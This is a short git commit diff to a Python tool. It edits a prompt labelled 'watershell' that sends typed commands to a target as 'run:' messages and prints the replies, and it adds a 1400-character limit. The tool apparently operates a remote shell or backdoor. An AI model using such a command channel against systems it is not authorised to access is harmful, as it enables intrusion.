Added forking support, support for larger command outputs, and other improvements
This commit is contained in:
@@ -93,10 +93,13 @@ def execute_cmd_prompt(sock, target):
|
||||
cmd = input("//\\\\watershell//\\\\>> ")
|
||||
if cmd == 'exit':
|
||||
break
|
||||
if len(cmd) > 1:
|
||||
sock.sendto(("run:"+cmd).encode(), target)
|
||||
resp = recv_timeout(sock, 4)
|
||||
print(resp)
|
||||
if len(cmd) > 1 :
|
||||
if len(cmd) >= 1400:
|
||||
print("Command is too big! (must be <=1400)")
|
||||
else:
|
||||
sock.sendto(("run:"+cmd).encode(), target)
|
||||
resp = recv_timeout(sock, 4)
|
||||
print(resp)
|
||||
|
||||
def main():
|
||||
"""
|
||||
|
||||
Reference in New Issue
Block a user